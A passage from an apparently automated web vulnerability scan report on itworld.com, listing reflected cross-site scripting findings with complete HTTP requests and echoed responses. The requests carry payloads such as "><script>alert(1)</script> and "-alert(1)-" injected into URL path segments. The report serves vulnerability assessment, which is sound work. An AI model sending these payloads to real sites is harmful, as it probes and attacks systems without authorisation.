Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itwdf859"><script>alert(1)</script>fbc2ac5284f/modules/lyris/js/lyris.js?h"/>
...[SNIP]...

1.470. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88eba"-alert(1)-"0599d1392de was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris88eba"-alert(1)-"0599d1392de/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:01 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460301"
Content-Type: text/html; charset=utf-8
Content-Length: 57449
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:04 GMT
X-Varnish: 1038159474
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris88eba"-alert(1)-"0599d1392de/js/lyris.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eV
...[SNIP]...

1.471. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba7f3"-alert(1)-"f0d1a7a3faf was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris/jsba7f3"-alert(1)-"f0d1a7a3faf/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460356"
Content-Type: text/html; charset=utf-8
Content-Length: 57443
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:01 GMT
X-Varnish: 1038161368
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris/jsba7f3"-alert(1)-"f0d1a7a3faf/lyris.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar1
...[SNIP]...

1.472. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38833"><script>alert(1)</script>2177a256194 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris/js38833"><script>alert(1)</script>2177a256194/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460331"
Content-Type: text/html; charset=utf-8
Content-Length: 57669
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:37 GMT
X-Varnish: 1038160602
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris/js38833"><script>alert(1)</script>2177a256194/lyris.js?h"/>
...[SNIP]...

1.473. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2b90"><script>alert(1)</script>fbdfd174a26 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris/js/lyris.jse2b90"><script>alert(1)</script>fbdfd174a26?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460388"
Content-Type: text/html; charset=utf-8
Content-Length: 57669
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:28 GMT
X-Varnish: 1038162243
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.jse2b90"><script>alert(1)</script>fbdfd174a26?h"/>
...[SNIP]...

1.474. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3773a"-alert(1)-"b6039260c39 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris/js/lyris.js3773a"-alert(1)-"b6039260c39?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460396"
Content-Type: text/html; charset=utf-8
Content-Length: 57449
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:37 GMT
X-Varnish: 1038162416
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris/js/lyris.js3773a"-alert(1)-"b6039260c39";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.475. http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/carousel_display.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cfa2f"-alert(1)-"0663afdd470 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themescfa2f"-alert(1)-"0663afdd470/itworld/js/carousel_display.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460176"
Content-Type: text/html; charset=utf-8
Content-Length: 57441
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:01 GMT
X-Varnish: 252446822
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
MS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themescfa2f"-alert(1)-"0663afdd470/itworld/js/carousel_display.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page yo
...[SNIP]...

1.476. http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/carousel_display.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac6ce"><script>alert(1)</script>66b694ac6aa was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themesac6ce"><script>alert(1)</script>66b694ac6aa/itworld/js/carousel_display.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460160"
Content-Type: text/html; charset=utf-8
Content-Length: 57656
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:41 GMT
X-Varnish: 252446487
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themesac6ce"><script>alert(1)</script>66b694ac6aa/itworld/js/carousel_display.js?h"/>
...[SNIP]...

1.477. http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/carousel_display.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee120"><script>alert(1)</script>e4faa013a12 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworldee120"><script>alert(1)</script>e4faa013a12/js/carousel_display.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:24 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460204"
Content-Type: text/html; charset=utf-8
Content-Length: 57662
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:27 GMT
X-Varnish: 252447356
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworldee120"><script>alert(1)</script>e4faa013a12/js/carousel_display.js?h"/>
...[SNIP]...

1.478. http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/carousel_display.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e743"-alert(1)-"683beea76f6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld3e743"-alert(1)-"683beea76f6/js/carousel_display.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460222"
Content-Type: text/html; charset=utf-8
Content-Length: 57441
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:44 GMT
X-Varnish: 252447776
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld3e743"-alert(1)-"683beea76f6/js/carousel_display.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reques
...[SNIP]...

1.479. http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/carousel_display.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ac308"-alert(1)-"96264029f50 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js/carousel_display.jsac308"-alert(1)-"96264029f50?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460306"
Content-Type: text/html; charset=utf-8
Content-Length: 57442
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:21 GMT
X-Varnish: 1038159789
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js/carousel_display.jsac308"-alert(1)-"96264029f50";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.480. http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ifoldie.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fba5c"><script>alert(1)</script>8b3ad006540 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themesfba5c"><script>alert(1)</script>8b3ad006540/itworld/js/ifoldie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57566
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:38 GMT
X-Varnish: 252446277
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themesfba5c"><script>alert(1)</script>8b3ad006540/itworld/js/ifoldie.js?h"/>
...[SNIP]...

1.481. http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ifoldie.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb2e9"-alert(1)-"4e04385fb2e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themesbb2e9"-alert(1)-"4e04385fb2e/itworld/js/ifoldie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460179"
Content-Type: text/html; charset=utf-8
Content-Length: 57351
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:36 GMT
X-Varnish: 252446849
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
MS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themesbb2e9"-alert(1)-"4e04385fb2e/itworld/js/ifoldie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you request
...[SNIP]...

1.482. http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ifoldie.js

Issue detail

